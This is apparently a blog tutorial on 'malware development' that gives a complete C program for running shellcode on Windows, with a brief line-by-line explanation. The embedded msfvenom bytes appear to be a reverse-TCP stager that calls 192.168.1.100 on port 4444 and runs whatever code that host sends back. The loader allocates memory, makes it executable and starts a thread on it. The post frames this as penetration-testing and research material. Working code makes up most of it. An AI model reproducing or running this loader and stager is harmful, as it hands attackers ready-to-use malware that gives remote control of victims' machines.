Malware development with C Executing Shellcode on Windows
In this post, we’ll examine a C program that loads and executes shellcode using the Windows API. The shellcode, generated with msfvenom, is injected into an allocated memory region and then run in a separate thread. Let’s dive into the code and understand each step.
The Complete Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
| #include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// Shellcode generated by msfvenom
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89"
"\xe5\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x8b"
"\x48\x18\x50\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x64\x68\x02\x00"
"\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
unsigned int payload_len = sizeof(buf); // Size of the shellcode
int main(void) {
void* exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
printf("[#] Press <Enter> to allocate memory...");
getchar();
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (exec_mem == NULL) {
printf("Error allocating memory.\n");
return -1;
}
printf("%-20s : 0x%-016p\n", "Shellcode Address", (void*)buf);
printf("%-20s : 0x%-016p\n", "Executable Memory Address", (void*)exec_mem);
printf("[#] Press <Enter> to move the payload to the designated memory...");
getchar();
RtlMoveMemory(exec_mem, buf, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
if (rv == 0) {
printf("Error changing memory permissions.\n");
return -1;
}
printf("\nExecuting payload...\n");
getchar();
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
if (th == NULL) {
printf("Error creating thread.\n");
return -1;
}
WaitForSingleObject(th, INFINITE);
return 0;
}
|
Explanation: Line by Line
1. Header Files and Shellcode
1
2
3
| #include <windows.h>
#include <stdio.h>
#include <stdlib.h>
|
- windows.h: Provides access to Windows API functions.
- stdio.h: Enables standard I/O functions like
printf and getchar. - stdlib.h: Contains standard utilities including memory management.
2. Shellcode Declaration
1
2
| unsigned char buf[] = "...";
unsigned int payload_len = sizeof(buf);
|
- buf[]: Stores shellcode bytes.
- payload_len: Defines shellcode size for memory allocation.
3. Memory Allocation
1
| exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
- Allocates memory dynamically for shellcode execution.
4. Memory Execution Permission
1
| rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
|
- Changes memory protection to executable before running the shellcode.
5. Shellcode Execution
1
| th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
|
- Creates a new thread to execute shellcode.
Final Thoughts
This method of injecting shellcode using Windows API is commonly seen in penetration testing and malware research. Be cautious while testing and always use a controlled environment.